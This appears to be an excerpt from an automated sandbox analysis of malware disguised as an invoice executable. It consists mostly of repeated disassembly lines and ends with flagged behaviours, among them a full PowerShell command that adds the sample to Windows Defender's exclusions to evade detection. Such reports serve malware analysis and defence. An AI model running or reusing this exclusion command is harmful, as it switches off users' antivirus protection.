Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171C640 mov eax, dword ptr fs:[00000030h]	11_2_0171C640
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01736620 mov eax, dword ptr fs:[00000030h]	11_2_01736620
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01738620 mov eax, dword ptr fs:[00000030h]	11_2_01738620
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E627 mov eax, dword ptr fs:[00000030h]	11_2_0171E627
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170262C mov eax, dword ptr fs:[00000030h]	11_2_0170262C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742619 mov eax, dword ptr fs:[00000030h]	11_2_01742619
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171260B mov eax, dword ptr fs:[00000030h]	11_2_0171260B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E609 mov eax, dword ptr fs:[00000030h]	11_2_0177E609
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0177E6F2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0177E6F2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0177E6F2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0177E6F2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017806F1 mov eax, dword ptr fs:[00000030h]	11_2_017806F1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017806F1 mov eax, dword ptr fs:[00000030h]	11_2_017806F1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A6C7 mov ebx, dword ptr fs:[00000030h]	11_2_0173A6C7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A6C7 mov eax, dword ptr fs:[00000030h]	11_2_0173A6C7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017366B0 mov eax, dword ptr fs:[00000030h]	11_2_017366B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C6A6 mov eax, dword ptr fs:[00000030h]	11_2_0173C6A6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704690 mov eax, dword ptr fs:[00000030h]	11_2_01704690
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704690 mov eax, dword ptr fs:[00000030h]	11_2_01704690
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A4978 mov eax, dword ptr fs:[00000030h]	11_2_017A4978
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A4978 mov eax, dword ptr fs:[00000030h]	11_2_017A4978
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178C97C mov eax, dword ptr fs:[00000030h]	11_2_0178C97C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01726962 mov eax, dword ptr fs:[00000030h]	11_2_01726962
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01726962 mov eax, dword ptr fs:[00000030h]	11_2_01726962
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01726962 mov eax, dword ptr fs:[00000030h]	11_2_01726962
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0174096E mov eax, dword ptr fs:[00000030h]	11_2_0174096E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0174096E mov edx, dword ptr fs:[00000030h]	11_2_0174096E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0174096E mov eax, dword ptr fs:[00000030h]	11_2_0174096E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4940 mov eax, dword ptr fs:[00000030h]	11_2_017D4940
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01780946 mov eax, dword ptr fs:[00000030h]	11_2_01780946
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178892A mov eax, dword ptr fs:[00000030h]	11_2_0178892A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0179892B mov eax, dword ptr fs:[00000030h]	11_2_0179892B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178C912 mov eax, dword ptr fs:[00000030h]	11_2_0178C912
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8918 mov eax, dword ptr fs:[00000030h]	11_2_016F8918
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8918 mov eax, dword ptr fs:[00000030h]	11_2_016F8918
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E908 mov eax, dword ptr fs:[00000030h]	11_2_0177E908
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E908 mov eax, dword ptr fs:[00000030h]	11_2_0177E908
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017329F9 mov eax, dword ptr fs:[00000030h]	11_2_017329F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017329F9 mov eax, dword ptr fs:[00000030h]	11_2_017329F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178E9E0 mov eax, dword ptr fs:[00000030h]	11_2_0178E9E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A9D0 mov eax, dword ptr fs:[00000030h]	11_2_0170A9D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017349D0 mov eax, dword ptr fs:[00000030h]	11_2_017349D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CA9D3 mov eax, dword ptr fs:[00000030h]	11_2_017CA9D3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017969C0 mov eax, dword ptr fs:[00000030h]	11_2_017969C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017889B3 mov esi, dword ptr fs:[00000030h]	11_2_017889B3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017889B3 mov eax, dword ptr fs:[00000030h]	11_2_017889B3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017889B3 mov eax, dword ptr fs:[00000030h]	11_2_017889B3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0 mov eax, dword ptr fs:[00000030h]	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017009AD mov eax, dword ptr fs:[00000030h]	11_2_017009AD
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017009AD mov eax, dword ptr fs:[00000030h]	11_2_017009AD
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796870 mov eax, dword ptr fs:[00000030h]	11_2_01796870
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796870 mov eax, dword ptr fs:[00000030h]	11_2_01796870
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178E872 mov eax, dword ptr fs:[00000030h]	11_2_0178E872
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178E872 mov eax, dword ptr fs:[00000030h]	11_2_0178E872
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01730854 mov eax, dword ptr fs:[00000030h]	11_2_01730854
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704859 mov eax, dword ptr fs:[00000030h]	11_2_01704859
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01704859 mov eax, dword ptr fs:[00000030h]	11_2_01704859
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01712840 mov ecx, dword ptr fs:[00000030h]	11_2_01712840
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A483A mov eax, dword ptr fs:[00000030h]	11_2_017A483A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A483A mov eax, dword ptr fs:[00000030h]	11_2_017A483A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A830 mov eax, dword ptr fs:[00000030h]	11_2_0173A830
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov eax, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov eax, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov eax, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov ecx, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov eax, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722835 mov eax, dword ptr fs:[00000030h]	11_2_01722835
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178C810 mov eax, dword ptr fs:[00000030h]	11_2_0178C810
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C8F9 mov eax, dword ptr fs:[00000030h]	11_2_0173C8F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173C8F9 mov eax, dword ptr fs:[00000030h]	11_2_0173C8F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CA8E4 mov eax, dword ptr fs:[00000030h]	11_2_017CA8E4
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172E8C0 mov eax, dword ptr fs:[00000030h]	11_2_0172E8C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D08C0 mov eax, dword ptr fs:[00000030h]	11_2_017D08C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178C89D mov eax, dword ptr fs:[00000030h]	11_2_0178C89D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700887 mov eax, dword ptr fs:[00000030h]	11_2_01700887
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FCB7E mov eax, dword ptr fs:[00000030h]	11_2_016FCB7E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AEB50 mov eax, dword ptr fs:[00000030h]	11_2_017AEB50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D2B57 mov eax, dword ptr fs:[00000030h]	11_2_017D2B57
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D2B57 mov eax, dword ptr fs:[00000030h]	11_2_017D2B57
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D2B57 mov eax, dword ptr fs:[00000030h]	11_2_017D2B57
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D2B57 mov eax, dword ptr fs:[00000030h]	11_2_017D2B57
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B4B4B mov eax, dword ptr fs:[00000030h]	11_2_017B4B4B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B4B4B mov eax, dword ptr fs:[00000030h]	11_2_017B4B4B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A8B42 mov eax, dword ptr fs:[00000030h]	11_2_017A8B42
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796B40 mov eax, dword ptr fs:[00000030h]	11_2_01796B40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796B40 mov eax, dword ptr fs:[00000030h]	11_2_01796B40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CAB40 mov eax, dword ptr fs:[00000030h]	11_2_017CAB40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F8B50 mov eax, dword ptr fs:[00000030h]	11_2_016F8B50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172EB20 mov eax, dword ptr fs:[00000030h]	11_2_0172EB20
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172EB20 mov eax, dword ptr fs:[00000030h]	11_2_0172EB20
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C8B28 mov eax, dword ptr fs:[00000030h]	11_2_017C8B28
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C8B28 mov eax, dword ptr fs:[00000030h]	11_2_017C8B28
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177EB1D mov eax, dword ptr fs:[00000030h]	11_2_0177EB1D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4B00 mov eax, dword ptr fs:[00000030h]	11_2_017D4B00
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708BF0 mov eax, dword ptr fs:[00000030h]	11_2_01708BF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708BF0 mov eax, dword ptr fs:[00000030h]	11_2_01708BF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708BF0 mov eax, dword ptr fs:[00000030h]	11_2_01708BF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178CBF0 mov eax, dword ptr fs:[00000030h]	11_2_0178CBF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172EBFC mov eax, dword ptr fs:[00000030h]	11_2_0172EBFC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AEBD0 mov eax, dword ptr fs:[00000030h]	11_2_017AEBD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01720BCB mov eax, dword ptr fs:[00000030h]	11_2_01720BCB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01720BCB mov eax, dword ptr fs:[00000030h]	11_2_01720BCB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01720BCB mov eax, dword ptr fs:[00000030h]	11_2_01720BCB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700BCD mov eax, dword ptr fs:[00000030h]	11_2_01700BCD
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700BCD mov eax, dword ptr fs:[00000030h]	11_2_01700BCD
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700BCD mov eax, dword ptr fs:[00000030h]	11_2_01700BCD
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B4BB0 mov eax, dword ptr fs:[00000030h]	11_2_017B4BB0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B4BB0 mov eax, dword ptr fs:[00000030h]	11_2_017B4BB0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710BBE mov eax, dword ptr fs:[00000030h]	11_2_01710BBE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710BBE mov eax, dword ptr fs:[00000030h]	11_2_01710BBE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177CA72 mov eax, dword ptr fs:[00000030h]	11_2_0177CA72
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177CA72 mov eax, dword ptr fs:[00000030h]	11_2_0177CA72
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AEA60 mov eax, dword ptr fs:[00000030h]	11_2_017AEA60
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173CA6F mov eax, dword ptr fs:[00000030h]	11_2_0173CA6F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173CA6F mov eax, dword ptr fs:[00000030h]	11_2_0173CA6F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173CA6F mov eax, dword ptr fs:[00000030h]	11_2_0173CA6F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706A50 mov eax, dword ptr fs:[00000030h]	11_2_01706A50
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710A5B mov eax, dword ptr fs:[00000030h]	11_2_01710A5B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710A5B mov eax, dword ptr fs:[00000030h]	11_2_01710A5B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01724A35 mov eax, dword ptr fs:[00000030h]	11_2_01724A35
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01724A35 mov eax, dword ptr fs:[00000030h]	11_2_01724A35
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173CA38 mov eax, dword ptr fs:[00000030h]	11_2_0173CA38
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173CA24 mov eax, dword ptr fs:[00000030h]	11_2_0173CA24
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172EA2E mov eax, dword ptr fs:[00000030h]	11_2_0172EA2E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178CA11 mov eax, dword ptr fs:[00000030h]	11_2_0178CA11
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173AAEE mov eax, dword ptr fs:[00000030h]	11_2_0173AAEE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173AAEE mov eax, dword ptr fs:[00000030h]	11_2_0173AAEE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700AD0 mov eax, dword ptr fs:[00000030h]	11_2_01700AD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01734AD0 mov eax, dword ptr fs:[00000030h]	11_2_01734AD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01734AD0 mov eax, dword ptr fs:[00000030h]	11_2_01734AD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01756ACC mov eax, dword ptr fs:[00000030h]	11_2_01756ACC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01756ACC mov eax, dword ptr fs:[00000030h]	11_2_01756ACC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01756ACC mov eax, dword ptr fs:[00000030h]	11_2_01756ACC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708AA0 mov eax, dword ptr fs:[00000030h]	11_2_01708AA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01708AA0 mov eax, dword ptr fs:[00000030h]	11_2_01708AA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01756AA4 mov eax, dword ptr fs:[00000030h]	11_2_01756AA4
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01738A90 mov edx, dword ptr fs:[00000030h]	11_2_01738A90
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170EA80 mov eax, dword ptr fs:[00000030h]	11_2_0170EA80

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
